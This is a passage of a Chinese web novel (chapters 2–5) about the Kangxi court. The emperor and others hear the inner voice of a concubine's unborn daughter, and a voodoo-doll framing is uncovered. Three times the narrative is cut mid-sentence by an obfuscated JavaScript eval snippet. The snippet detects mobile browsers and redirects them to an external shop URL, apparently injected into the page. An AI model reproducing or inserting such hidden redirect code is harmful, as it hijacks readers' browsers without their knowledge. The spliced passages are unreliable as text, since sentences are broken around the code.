《清穿之被读心后当团宠》 2. 第 2 章 惠妃见胤禩帮着良常在说话,有些不悦,竖起蛾眉道:“你这是什么意思?是说本宫苛待你们母子了吗?看来我平日是白疼你了。” 胤禩连忙去拉惠妃的衣袖,用小手包裹住惠妃的手指,笑道:“额娘别气,是胤禩不好。” 他虽然不是惠妃亲生,但这个养母也待他不错,自然待遇上比不过大阿哥,却也没有苛待。 惠妃虽然生气,但也觉得胤禩所言有理,若是良常在再出点什么事,别人还以为是她嫉妒良常在,故意不好好照顾呢。 事实上,她也想良常在能平平安安的,最好再生个小阿哥出来,这样,她就不会觉得矮宜妃一头了。 宜妃是惠妃的死对头,因为她恃宠而骄,不把后宫其他人放在眼里,佟佳氏又是个柔和的性子,与世无争。 恰恰惠妃是个要强的,眼里容不得沙子,宜妃敢不尊重她,她也就要跟宜妃掰掰手腕。 她在宠爱方面比不过宜妃,没办法,陛下就吃宜妃那一套,再加上宜妃正年轻,肌肤水润。 但是在地位方面,谁让自己入宫早资历深又生下了大阿哥呢,除了死去的那几个阿哥,大阿哥就是皇宫内的长子,地位也只是比太子低一点。 所以她地位高于宜妃。 只是这延禧宫只有一个大阿哥一个八阿哥,而宜妃光是自己一个人就生了五阿哥、九阿哥,今年五月又添了个十一阿哥。 呵呵,真是能干呀! 她可要好好保护良常在肚子里这个,若再是个小阿哥就好了,她的腰板还能再挺一挺。 于是,惠妃低头对胤禩道:“看在你的份上,我给良常在派两个丫鬟照顾着,小杏是一定要打板子的,不然延禧宫就失了规矩,反倒让人看笑话。” 既如此,胤禩也不好再说什么,他终究只是个孩子,而且母亲身份低微,只能尽力讨好宫里其他人,这是他从小便明白的道理。 额娘跟他嘱咐过许多遍,不要唤她“额娘”,不管是私底下还是明面上,都应该唤她“良常在”。 他不明白为什么其他阿哥有两个额娘,都可以称呼为“额娘”,可他偏偏不行,但他知道,他若是不听话,额娘就会偷偷的哭,惠额娘还会凶额娘。 这时,他又听见额娘肚子里传来女孩子可爱的声音:【呀呀,我这是在美人娘亲的肚子里吗?】 【听声音就知道我娘亲一定很美,外面那个女人嗓门好大,声音也凶。】 【我美人娘亲好善良,还帮着丫鬟求情。】 【那个男孩子是我哥哥吗?】 良常在与胤禩都低头看她的肚子,良常在暗道:“原来不是幻觉啊,她肚子里这个娃娃真的会说话?” 可正常娃娃还未出世,怎么可以说话呢? 若是让旁人听到,岂不是会怀疑她怀了个妖怪,万一将她绑起来烧了可如何是好? 良常在急得脸色更难看了一点,而惠妃见状,拧眉道:“你这是什么表情?放心好了,你肚子里的金疙瘩无事。” 惠妃是没有听见这婴儿声音? 良常在呆滞地看向惠妃,不明白这是怎么回事,但也悄悄松了一口气。 “皇上驾到!” 一袭玄色身影大跨步走进来,地上跪了一片,甚至于东偏殿的徐常在与李答应,也不知什么时候来了,跪在门口,康熙道:“都起来吧。” 他问向惠妃:“听说这里发生了火灾?” 惠妃指着那西偏殿道:“是,但没有着起来,只烧毁了床帐及被褥。” 康熙拧眉道:“好端端的,怎么会起火呢?” 惠妃看向良常在道:“都是丫鬟不小心,良常在身子大了又困乏。” 康熙的眸光也落在良常在脸上,她长了一张芙蓉面,气质又我见犹怜,外貌可以说在宫内数一数二,不输给明艳的宜妃,只可惜性子木讷胆小,十分无趣。 故而康熙虽然临幸过她几次,却也没有把她放在心上,更不会宠爱到将她提为嫔位。 今日再次观看,他心里仍旧是有些怜爱,眸光顿了顿。 徐常在眼里闪过一道嫉恨的光,向前走了几步道:“启禀陛下,依嫔妾看来,此事或许另有隐情。” 康熙这才转过头,看向这个相貌平庸的女人,问道:“什么隐情?” 徐常在道:“嫔妾对卦象之说颇有研究,似乎这场火灾不是偶然,而是……” 说到这里,她的声音渐渐小了起来。 康熙道:“而是什么?” 徐常在道:“而是因为屋内有特殊之物,引发了阴火。” 一时间,空气寂静,所有人都在揣测,这“特殊之物”大概率不是什么好东西,而阴火听起来更是令人毛骨悚然。 惠妃皱眉道:“别胡说!良常在屋内能有什么东西?” 徐常在道:“搜搜看就知晓了,若是没有,嫔妾甘愿领罪。” 李答应道:“徐姐姐算卦向来灵验,她说是小桃偷了她的手镯,果然在小桃的包裹里发现了。昨日还说天要下雪,果然半夜就下了鹅毛大雪。” 惠妃也惴惴不安,这徐常在确实有些神神叨叨的,最是喜欢看些卦书,摆弄着铜钱与竹筷,莫非她还真的有些本事? 康熙冷声道:“搜!” 侍卫们一拥而入,冲进良常在的卧室,谁知还真的翻找出一个锦盒。 侍卫面色凝重地将锦盒拿到康熙面前,康熙接过来,打开锦盒一看,面色大变。 这锦盒里面,赫然便是写着他生辰八字的棉花娃娃,上面还有几根银针,扎在一些身体部位上。 徐常在眸中藏着兴奋道:“果然查到了东西,嫔妾此生分明了!若是把这个东西烧毁了,延禧宫日后就不会再有阴火作乱了。” 惠妃凑过去看了一眼,便面脸怒容,对良常在厉声喝到:“你这个贱婢,好大的胆子!” 胤禩拧了拧眉,直觉上此事会对额娘有危险,但是他个子太矮,根本看不到锦盒里面所装之物,只能干着急。 良常在此刻也是傻了眼,刚刚便觉得情形不对,但若是在陛下面前阻止,又显得自己心虚,不阻止……果然被查到了巫蛊娃娃。 偏偏她又是个笨嘴拙舌的,只能颤颤巍巍跪在地上:“嫔妾没有、不是嫔妾做的。” 李答应不可置信道:“怎么会这样?卫姐姐,你、我知道你绣艺高超,但也不必绣个跟陛下一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228900|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的棉花娃娃呀。” 康熙怒道:“放肆!” 李答应立即跪下,不敢再说话。 胤禩实在是憋不住了,道:“皇阿玛,这锦盒里面装的是什么?” 康熙低头看了一眼儿子,对良常在道:“你到底对朕有什么不满,竟然心肠歹毒到了如此地步,还绣这种东西,也不怕折了自己儿子将来的前程!” 这时候,从良常在的肚子里传来声音: 【棉花娃娃,是绣的我吗?爹爹那么大的人,棉花娃娃怎么会跟爹爹一样?】 【我最喜欢玩布娃娃了,只是笨蛋娘亲这么懒,连着火了都唤不醒,还能绣棉花娃娃吗?】 【棉花娃娃怎么会折了哥哥的前程?我真是搞不懂了。】 这小奶团子软糯糯的声音,瞬间吸引了康熙的注意力,也消解了他的怒气,他眸光向四处看了看,最后低头看向在场唯一的小孩子——胤禩。 “刚刚是你在说话?” “没有啊,皇阿玛,此事是不是另有隐情?” 胤禩的小脸都皱起来了,即便他再早慧,四岁的孩子也不懂得巫蛊之术,但他知道皇阿玛不喜欢那个棉花娃娃。 康熙又问向惠妃:“你听到有小孩在说话吗?” 惠妃看向胤禩,又看向康熙,心中暗道:“皇上莫不是被卫氏气疯了?出现幻听了?” 康熙见众人皆困惑地望着自己,他最终将眸光落在良常在的肚子上,只听见那声音再次传来。 【哎呀,好难受呀,为什么又有点凉了?腿脚都施展不开,娘亲这是在做什么呀?】 看来是只有朕能够听到婴儿的话了,毕竟是父女连心,而朕又是天子。 康熙对良常在道:“你先起来,地上凉,躺到炕上去。” “什么?” 惠妃不可置信地发出疑问。 陛下怎么变得喜怒无常了?刚刚不是还怒发冲冠的让人以为他要严重追究卫氏吗? 徐常在更是脸色难看地垂下了头,心中慌张不已。 陛下态度忽然转变,定是因为良常在的美貌而对她心软了。 这个贱人!就仗着一副皮囊而获得如此好运,不仅是得到了惠妃的关照,还让陛下多次宠幸与怜惜。 胤禩悄悄松了一口气,给自己的嬷嬷使眼色,让她扶着自己额娘去床边,而他发现额娘脸色发白,又担忧地看了看,便垂下视线。 不能让别人看出他太过于挂念自己的母亲。 良常在躺在床上,仍旧是浑身紧绷,心里紧张的不得了。 【娘亲,不要这么紧张,放松一些,我都呼吸不过来了。】 听见肚子里婴儿的话,良常在也终于再次重视起自己的孩子来,她连忙用太医教的最正确的姿势侧躺,努力让孩子舒服。 【呜呼,舒服多了,咦,娘亲是不是饿了?肚子空空的在叫。】 良常在摸了摸自己的肚子,此刻肚子更是不合时宜地发出了“咕咕”声,她确实是饿了,中午吃的少了些,还吐出一大部分,折腾到现在都没有吃东西。 康熙道:“来人,准备晚膳。” 惠妃笑道:“陛下要在这里用膳?” 3. 第 3 章 收到康熙不悦的眼神后,她连忙收敛了喜悦之色,道:“臣妾这就去准备。” 康熙点点头道:“朕与你、良常在一起用膳。” 转过身,惠妃的嘴角就压不住了。 良常在就算是真的犯了错,对她来说也不是什么大事,大不了她再扶持一个貌美听话身份低微的庶妃便是,反正宫里的贵人常在答应到处都是。 既然陛下不处置良常在,那她更开心了,既能陪陛下用膳,还不用费事再培养新人。 更何况,她知道今日陛下本来答应了要陪宜妃用晚膳的,顺便在她那里留宿。 这样一来,岂不是还打脸了宜妃?良常在果然是本宫的福星。 惠妃走后,屋内一下子安静了下来,康熙拿起棉花娃娃,又仔细瞧了瞧,真是先入为主了,他怎么就会下意识觉得这绣的是自己呢? 根本一点都不像好吗? 朕这般高大威武,竟然会跟一个棉花娃娃像? 而且那腹中婴儿说得对,这良常在孕期困乏,哪有力气绣棉花娃娃? 更何况这刚发生火灾,进去灭火的还有不少太监宫女,谁都有可能放一个棉花娃娃进去。 除非是不要脑袋了,或者是疯魔了,不然良常在绣这个做什么? 康熙眯了眯眸子,这里面定有蹊跷之处,故而将锦盒交给梁九功,对他道:“好好审问此事。” 梁九功带着宫女太监下去了,这绣工、布料与字迹,还有太监宫女,可审问的事情太多了,只要陛下冷静下来肯审问,就一定能够水落石出。 而徐常在与李答应更是立在那里,仿佛脚下有个钉子一般,脚心发痛。 陛下要跟惠妃与良常在吃饭,那她们两个呢?她们可真的是里外不讨好了,陛下肯亲近良常在,那她们刚刚阴阳了良常在,岂不是就…… 梁九功来到了她们面前,道:“两位小主,也请跟奴才走一趟吧。” * “皇阿玛,这个好吃,给你吃。” 胤禩以前都不敢在康熙面前大声说话,他胆子也不大,只是今日为了讨好康熙,便鼓起勇气给康熙夹菜。 看着碗里的鱼丸,康熙颇有些惊讶的望着老八。 这孩子虽然面如满月,白白净净,是有福气之相,但性子随了他娘,有点小家子气,畏畏缩缩的,总是躲在哥哥们后面,自己也不是很爱这个儿子。 毕竟论勇猛有老大,论矜贵气质有太子,论文武双全有老三,论勤奋刻苦有老四,论讨长辈开心有老五和老九…… 但是今日老八的举动,却让康熙看见了儿子对自己的爱,康熙心里泛起了一丝暖意,有些感动,给胤禩也夹了一块油亮亮的排骨,道:“多吃点,快点长大,变得强壮。” 一提到“强壮”,大阿哥胤禔的眼睛立刻亮了起来,兴致勃勃地道:“皇阿玛,儿子今日下午已经能拉开五力半的弓了,还骑射了两个时辰。” “哦?”康熙笑道,“射中红心了吗?” 胤禔道:“射中了,只有两次射在红心外。” 康熙赞道:“好孩子,才13岁,这都比宫里一些成年侍卫强了,你以后要当大清第一巴图鲁。” 越是被夸赞,胤禔越是开心,直接卷起袖子,给康熙展示肌肉,让他皇阿玛看看,他这手臂肌肉练得有多结实。 康熙也很是满意地捏了捏,惠妃在旁边笑得合不拢嘴,陛下前面所生的几个阿哥都未到序齿便去世了,她所生的儿子便是大阿哥。 大阿哥一向争气,只因为不是嫡子,便总是要矮他弟弟半头,她作为额娘也知道这孩子心里不服气,他愿意做什么便也由着他。 胤禩在旁边羡慕不已,既羡慕大哥的勇猛,又羡慕他能讨得皇阿玛开心。 他要向大哥学习。 康熙拍了拍胤禔的肩膀,道:“菜快凉了,大家接着吃饭吧。” 胤禔也回去乖乖做好,只是康熙刚刚吃了一口鱼丸,就面露难色,他将嘴里的鱼丸吐出来,却只见那鱼丸中有一根头发。 啊这…… 良常在惊得掉了筷子,又从椅子上起来,跪倒在地:“求陛下恕罪。” 胤禩眨眨眼睛,不明白好端端的鱼丸,里面为何会有头发,还是他夹给皇阿玛的。 他也只好跟着额娘一起跪下道:“求皇阿玛恕罪,胤禩不是故意的。” 声音委屈巴巴的,一张小脸更是惨白不已,眼窝中凝聚了一汪水,却倔强的不肯落下。 惠妃吐槽道:“这御膳房是怎么做菜的?连头发都能进鱼丸里,真该打几十板子。还有你胤禩,下次给你皇阿玛夹菜时注意点,不会夹菜就别夹,白白惹你皇阿玛不高兴。” 惠妃身边伺候的嬷嬷连忙将鱼丸端下去,又换了一盘鱼丸。 康熙也知道此事怪不到老八头上,只是吃到了头发,心情难免不好,再加上良常在的嫌疑还未洗清,便直接冷了脸:“你们母子二人,真是……” 这时候,良常在的肚子内再次传来小奶团子的声音: 【这又是怎么了?呜呜,这个姿势好难受啊。】 【爹爹也叫皇阿玛?头发是跟皇阿玛玩捉迷藏吗?偷偷溜入了鱼丸中。】 【说起鱼丸,斯哈斯哈,我也想吃了。】 可惜她现在只能喝羊水,靠着母体补充营养。 康熙忍不住心中暗道:“这孩子还是个小吃货!” 不过这孩子的语气实在是可爱,竟然能说出“捉迷藏”这样的话,算了,这本就不是什么大事,老八才四岁的娃娃,自己责怪他做什么? 康熙将良常在扶了起来,道:“老八也起来吧,吃个饭而已,不必动辄下跪。” 良常在摸了摸肚子,是因为陛下听到了女儿的话,才不追究了吗?看来,她肚子里怀了个福星啊。 胤禩也巴巴地看着额娘的肚子,听妹妹说她也想吃鱼丸,但她在额娘肚子里又吃不到,自己夹给额娘一个吧。 然而胤禩刚把筷子伸出去,却发现与此同时还有两双筷子也伸到了鱼丸的盘子内。 他又缩回了小短手,眼睁睁看着皇阿玛把鱼丸夹给额娘,而大哥夹着鱼丸的筷子顿了顿,将鱼丸放到了自己嘴里,大口嚼着嚼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228901|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着吃了。 可大哥平日不喜欢吃鱼丸,说是太腥了,今日这是怎么了? 惠妃也不可思议地望着自己儿子,这还是那个闹着跟自己挑食的孩子吗? 胤禔面上不平静,心里也不平静,他居然发现自己能够听到良常在肚子里妹妹的话! 但是刚刚大家的注意力都不在他身上,所以他即便是脸上表情十分丰富,就好像是嘴里被塞了一整个鸡蛋,也无人在意。 他的身体一向比脑子反应快,只想着给妹妹夹个鱼丸,等出手后看到了皇阿玛也夹了鱼丸才想起来,这自己给良常在夹鱼丸也不合规矩啊。 幸好他离得远,夹鱼丸的动作慢了皇阿玛一步,不然也会惹得皇阿玛不痛快。 康熙给良常在夹了鱼丸,便微微侧过耳朵去听,想要听一听自己女儿“吃到”鱼丸后会有什么反应。 然而等了许久,都没有再次听到小奶团子的声音,不由得有些失望。 不仅是他失望,两位阿哥也觉得失落。 良常在连着吃了两个皇上亲自夹的鱼丸,也不好意思了起来,她特意抬头望了惠妃一眼,幸好惠妃姐姐没有计较。 谁也不知道,小奶团子又在良常在的肚子里呼呼睡了过去,有节奏的心跳声仿佛是美妙的韵律。 吃完饭天色也不早了,雪夜黑得快路又滑,康熙顺便歇在惠妃宫里,特意让人去给宜妃传话,今夜就不过去了,明日会去看她。 翊坤宫内,宜妃刚刚洗过澡,从上到下都是香喷喷的,正对着镜子将头发梳得十分柔顺光亮,却在听到康熙派来小太监的传话后,一把将梳子扔到桌子上,面露怒容:“又让惠妃得意上了!” 张嬷嬷给小太监塞了一袋银子,问道:“卓公公,是不是晚饭时又发生了什么?” 本来不过来吃晚饭就惹得主子心里不痛快了,如今晚上又不过来陪她……今日可是主子的生日啊! 卓公公将银子收入袖口中,赔笑道:“晚饭时大阿哥说在演武场上骑射优异,陛下很是欣慰……还有八阿哥给陛下夹鱼丸,陛下却吃出了里面有头发,但是又饶了他们母子二人。” 卓公公离开后,宜妃道:“这大阿哥只是匹夫之勇罢了,竟然能让陛下开怀至此,连吃出头发都不计较,只是良常在倒也倒霉,巫蛊之术的事情未了,儿子又是个蠢的。” 张嬷嬷眯了眯眸子,弓着身子凑到宜妃耳旁道:“主子说的是,只是今日的事情,依奴婢分析,总觉得不大对劲,这陛下向来凛然不可犯,发现良常在有弄巫蛊之术的嫌疑,竟然还能与她同桌吃饭,也是稀奇。” 宜妃点点头,精致的金累丝点翠护甲在桌面上敲了又敲,心中暗道:“良常在确实生了一副好相貌,能够轻易引起男人的怜惜。 毕竟这历代帝王最是厌恶巫蛊之术,汉武帝平日疼爱太子,却也为了此事而大动肝火,逼反了太子,杀了后妃大臣数百人。 陛下铁血手腕,也不会突然变得心慈手软,即便是对孕妇稍有怜惜,关起来审问便是,真的有罪就打入冷宫生下孩子后处死,不至于不加处置却同桌吃饭。” 4. 第 4 章 第二日,天空露出了温暖的阳光,甚至连雪也化了些,房檐滴答滴答地掉落水珠。 良常在睡在崭新而温暖的被窝中,翻了个身,本想要再赖床一会儿,但是想着肚子里的孩子需要吃东西,便起身了。 新来的丫鬟春喜道:“小主起来了?想要吃点什么?奴婢这便去御膳房取。” 良常在看了看肚子,刚想要说鱼丸,但是肚子里及时传来了孩子的小奶音: 【我要吃芙蓉糕、核桃仁、炖驴肉、烤鸭、燕窝,既然我爹爹是皇阿玛,那应该很有钱吧,我还没有吃过燕窝呢。】 良常在为难了,这宫中嫔妃膳食皆有严格的分例制度,她一个小小常在,早上只能吃四道菜,里面还包括了两道酱菜。 猪肉鸡肉倒是可以吃,烤鸭若是御膳房有,也可以取,只是这燕窝与驴肉却艰难。 燕窝是嫔位以上的才可以有,她们这种贵人常在答应,需要靠高位嫔妃赏赐,也就是逢年过节会得到一些,恰好前段时间惠妃赏赐的那些已经服用完了。 驴肉不仅是她难以吃到,就算是皇贵妃也不能随时吃,因为驴、牛、马都是农民用于耕种的,陛下特意下令御膳房不许日常提供。 当然特殊节日或者是特殊赏赐也就难说了。 看出了良常在的为难,春喜道:“小主不必犹豫,惠妃娘娘说了,想要吃什么便用她的分例去取,左右不能让肚子里的孩子受委屈。” 良常在听得这话,心里暖暖的,妃位一日早上可以吃十二道菜,肉类菜类等可以吃的种类也多,她便将腹中孩子说的那几道菜都说了,又道:“若是没有的就算了,不必勉强。” 春喜笑了笑离开了。 等回来时,果然没有拿到驴肉,却额外带回来一盘鹿肉和羊肉,并且笑道:“小主想吃驴肉这事奴婢记下了,下次有了便取,这鹿肉与羊肉都是新鲜的,小主可以尝一尝。” 良常在看着满满当当的桌子,咽了咽口水,她自己用膳时,还从来没有吃过这么丰盛的呢。 她腹中忽地传来一声稚嫩的“哇”,仿佛胎儿在回应这满室膳香。 只听那未出世的小人儿软软糯糯地笑道: 【没关系,没有驴肉有鹿肉羊肉也很好,我都爱吃,光是闻味道就好香呀,口水都流出来啦。】 话音未落,又添一句急切的童言: 【快!娘亲,快舀一勺燕窝给我尝尝。】 良常在闻言,指尖轻抚肚腹,无奈又宠溺地低叹一声。 这孩子,还未出世呢,鼻子倒是很好使。 下午,康熙批阅完奏折,起身舒展一下筋骨,便迈步向外走去。 本想要直接去宜妃处,但是一想到昨日的梦,却还是先来到了惠妃这里。 昨夜,他梦见自己置身于一片水雾氤氲中,碧波如绸缎般环绕在他身旁,一尾朱红锦鲤在水中游动,鳞片映着皎洁的月华,如碎金洒落池内。 他下意识伸手去抱,滑腻的锦鲤却乖乖躺在他怀里,口中唤道:“爹爹,皇阿玛……” 那声音,分明便是昨日良常在腹中胎儿。 或许是日有所思夜有所梦,也或许是这孩子真的是个锦鲤福星。 总之,康熙心情很好很激动,想要再听一听这婴儿的声音。 到了延禧宫,惠妃早早地出来迎接,两人一同来到良常在处,只见良常在一个人待在里屋正吃着榛子。 惠妃皱眉道:“你怎么又独自待在里屋?不让丫鬟们进来服侍?若是再出点什么事,可怎生是好?” 良常在刚刚一边吃榛子,一边小声跟腹中孩子聊天,告诉腹中孩子宫内基本情况。 此刻见了惠妃,更不可能把实话说出来,故而憋了个脸通红:“嫔妾没注意,下次一定让人进来。” 惠妃犹疑地望着她,若不是已经查出来那巫蛊之术与她无关,此刻就连自己也忍不住怀疑起来了,这向来温顺听话的良常在,行迹也有些可疑。 她该不会是躲在屋内偷偷缝巫蛊娃娃吧? 想到这里,惠妃连忙否决了,徐常在因为陷害良常在,如今已经被打死,她的家人也受了牵连被流放。 说起来,都怪徐常在太蠢,竟然刻意模仿着良常在的刺绣手法与字迹来陷害,可这种东西哪里是模仿就行的?还不是漏出了马脚? 李答应虽然是无辜的,但也被撵出宫去。 陛下眼里是容不得沙子的,幸好没有追究自己的责任。 康熙对良常在笑道:“今日感觉如何?吃的可满意?” 良常在低头道:“回陛下的话,今日身体没有不适的症状,一切都很好,承蒙惠妃姐姐照顾,嫔妾享用了许多佳肴。” 惠妃点头,良常在倒是懂得感恩,只不过她的“照顾”也是皇上昨日授意的,也不明白陛下为何突然这般关心良常在了。 当年宜妃怀孕五阿哥时,还是个嫔位,即便是再受宠,也没见陛下特意把饮食规格提到妃位。 良常在倒是要求不高,可她腹中的胎儿却不这样,她很不客气道: 【还好吧,今日吃到了燕窝,但我还想要吃驴肉,没吃到,差评!】 【明日我还要吃燕窝,再给我炸点小黄鱼吃。】 康熙听到这里,看着良常在的肚子,不禁瞪大了眼睛,即便是良常在吃进去,也不是“她”吃,“她”还挑剔上了。 不过小家伙语气实在是可爱,又不是要吃龙肝凤髓,就由着她吧。 故而,康熙转头吩咐道:“今晚让御膳房杀一头驴,朕好久没有吃驴肉了,往良常在这里也送一盘新鲜的。” 良常在抬眼望去,却正好对上了康熙的视线,她又缩了缩脖子,道:“多谢陛下。” 两人都能听见孩子心声,康熙并没有在良常在跟前藏着,而良常在的表现,也瞒不过康熙锐利的眼神。 不止是良常在,就连昨日的大阿哥夹鱼丸,也引起了康熙的警觉。 或许正是因为这个福星,昨日才让良常在从睡梦中醒来的吧,不然再晚一会儿,岂不是要发生更大的灾难? 思及此,康熙又道:“以后小心些,睡觉时屋里至少要留一个人看着。” 良常在与惠妃都答应了,他又坐在榻上伸手去摸良常在的肚子,问道:“小家伙,是皇阿玛的手,你能感受到吗?” 惠妃忍不住笑道:“陛下,如今孩子才六个月多,还未出生。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228902|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你跟孩子说话,人家能回应你吗? 良常在僵着身体已经不知该作何反应了,毕竟康熙从未与她这般亲近过,即便是侍寝,也是公事公办、点到为止。 康熙不理惠妃,甚至还觉得她什么都听不见挺可怜的,果然,那小家伙又软软糯糯道: 【皇阿玛,我刚刚听娘亲说了皇阿玛的事迹,很是佩服皇阿玛呢。】 【皇阿玛的手好大,宝宝要游过去跟你贴贴。】 说着,她便往那手的位置移动,将脸颊贴到外面的手上,道:【皇阿玛,你感受到了吗?】 康熙心都软化了,听到小奶团子说佩服自己,还来跟他“贴贴”,好可爱的宝宝。 康熙笑道:“你快些长大,皇阿玛想要抱抱你。” 婉菱道:【好哒,我喜欢听皇阿玛的声音,一听声音就知道是个英俊的男子,我也想要见见皇阿玛。】 “英俊”自然是良常在给康熙的评价了,虽然康熙的女人很多,但良常在却只有这一个男人,甚至于她的一生都未见过几个男子。 她很是倾慕这个男人,却只能压抑着自己的感情,安分守己。 惠妃觉得康熙八成是疯了,竟然还把耳朵贴在良常在的肚子旁,不得不说,她也有点嫉妒良常在了。 不过她年纪大了,本来就不打算与年轻人争宠了,便没有动更多的心思。 这边,康熙与婉菱又聊了一会儿,看着天色不早了,想起今日与宜妃的约定,便起身离开了。 今晚再不去她那里吃晚饭,就又爽约了。 果然,康熙来到翊坤宫时,宜妃已经焦急地在门口走来走去了。 康熙笑道:“你刚刚生产完,别受了凉,在屋内等着便是。” 宜妃嗔了他一眼,撅着嘴道:“臣妾怕再不看着,陛下又留在惠妃姐姐那了,也不知道惠妃姐姐那里有什么好吃的,竟然三番五次勾引陛下过去。” “哈哈哈哈”,康熙仰头笑道,“她那里确实有令朕开怀之人,但你也不能用‘勾引’二字,宜妃呀,你这张嘴有点毒了。” “陛下说的是,臣妾一时用词不当。” 宜妃跟着康熙进去,暗暗咬牙切齿,面上却不显。 只是在吃完晚饭后,她又令乳母将十一阿哥抱过来,故作委屈道:“胤禌昨日没看见皇阿玛,可伤心了呢,今日还吐奶了。” 康熙一手托着孩子娇嫩的屁股与后背,一手去刮了刮小十一的脸蛋,道:“可不许吐奶,要乖一些。” 良常在怀的小女婴就很乖,还会自己要吃的,想起那个奶呼呼的声音,再看看瘦小皱巴巴的小十一,康熙道:“男孩子,更是不能挑食。” 许是康熙的语气过于严厉,胤禌竟然“哇”的一声哭了出来。 康熙哄了两下,却哄不好,看见孩子鼻涕眼泪糊了满脸,便没了耐心。 毕竟孩子太多了,众多皇子中,他也只对太子耐心多一点。 宜妃撇了撇嘴,但是一想到陛下对皇子要求一向甚严,就没说什么,只是把孩子接回自己怀里哄着,问道:“陛下,听说昨日良常在屋内起火?” 康熙皱眉道:“没错,各宫都应该加强管理,小心火烛。” 5. 第 5 章 宜妃道:“正好胤禌也总是生病,身子不大好,昨夜听说了良常在的事情,他还受了点惊吓,要不然请萨满法师入宫,驱邪禳灾?” 康熙思考了下,点了点头,而宜妃露出了得意的笑容,让乳母将孩子抱走,她依偎在康熙怀里。 康熙的后宫内住着好几对姐妹花,宜妃姐妹便是其中之一,妹妹得宠后,便将姐姐接到了翊坤宫,如此也方便互相照顾。 姐姐郭贵人是寡妇身份被召入宫,进宫后生了个四公主。 四公主今年六岁,倒是遗传了姐妹俩的泼辣性子,在宫里谁都欺负不到。 郭贵人相比于宜妃,还算温和,只是前年生了一个儿子,去年夏天生病夭折了。 自此之后,郭贵人性情大变,时而暴躁易怒,将屋子砸的稀碎,辱骂下人,时而抱头痛哭,郁郁寡欢。 康熙听说了她的性子,便不再召她侍寝。 不过她倒是极为喜爱宜妃的胤禌,今年胤禌出生后,她便十分用心地帮忙照料胤禌,神智几乎恢复了正常。 这次,她不解道:“胤禌最近身体很好,并未受到惊吓,你为何还提议让萨满法师过来?” 宜妃勾起红唇道:“这只是为了展现陛下对我的恩宠罢了,不能让惠妃老是那般得意。” 萨满法师确实是奉命先来了宜妃宫里,毕竟被吓到的皇子比较重要,随后才去了良常在屋内。 那个为首的女萨满法师跳着跳着,忽然指着惠妃屋内大声道:“这里有个还未出世的福星。” 惠妃正在外面站着,而她的屋内只有胆子小的良常在,众人听闻此言,立即禀告给了康熙。 康熙抚掌而笑道:“果然如此,哈哈哈,赏!” 康熙大赏萨满法师,并且给良常在升为良贵人的消息传遍了后宫,宜妃又摔了一个茶杯:“可恶!她怎么不给胤禌说几句好听话?” 郭贵人道:“她来到这里后,只是神神叨叨的又念又跳,我不觉得她真的有那么神,更不可能通灵。” “哎呀”,宜妃皱眉道,“定是惠妃给那萨满法师塞了银子,她才会说些谄媚的话,她这是在造势!” 郭贵人嗤笑道:“造势有什么用?莫不是在为大阿哥谋划着那个位置?” “嘘!”宜妃立即将食指放在唇边,提醒道,“姐姐这话可不能当着外人的面上说。” 虽然已经立了太子,但是大阿哥一向不服太子,康熙善于培养,各个皇子都很优秀,朝中形势诡谲,真心支持太子的人并不多。 故而很多事情都是未知的,宜妃也不是没有做过日后当太后的梦。 只可惜五阿哥从幼时便被太后抱养,今年的几次见面中,宜妃也敏锐的感知到这个儿子不大聪慧,竟然连启蒙都未进行,常用汉字都不认识,甚至于比他小一岁的八阿哥都比他识字多。 胤祺因为太后的宠爱,可以想不读书便不读,想睡懒觉便睡懒觉。 这样下去,真是要落后其他兄弟一大截了,也不知道明年开春去了上书房,会不会被人嘲笑。 幸好自己还有九阿哥与十一阿哥,这俩个她都要在身边养着,好好教导。 六岁的四公主却从桌子里爬出来,摇头晃脑道:“这对我们而言,不也是一件好事吗?” 郭贵人与宜妃同时震惊地望着她,郭贵人拧眉道:“你何时躲到了桌子底下,还偷听我们大人讲话?” 四公主眨眨眼睛,摊手笑道:“在你们进来之前我就在桌子底下玩,你们没看见我,可怪不到我头上。” 宜妃拉住要上前揍女儿的郭贵人,问道:“你说‘对我们也是好事’,这是什么意思?” 四公主道:“你们大人可真笨,连这都想不明白,那位良常在日后会生出个小福星,只要我们靠近,也会沾染福气,岂不是对我们有好处?” 宜妃翻了个白眼道:“谁愿意靠她赐福?那都是假的,是那萨满法师胡言乱语!” 四公主道:“既是胡言乱语,你们又何必这般在意的蛐蛐半日?还不如数蚂蚁有趣呢。” 眼看着额娘走了过来,四公主连忙向门口跑去:“我去玩喽。” 郭贵人怒气冲冲地追着她跑。 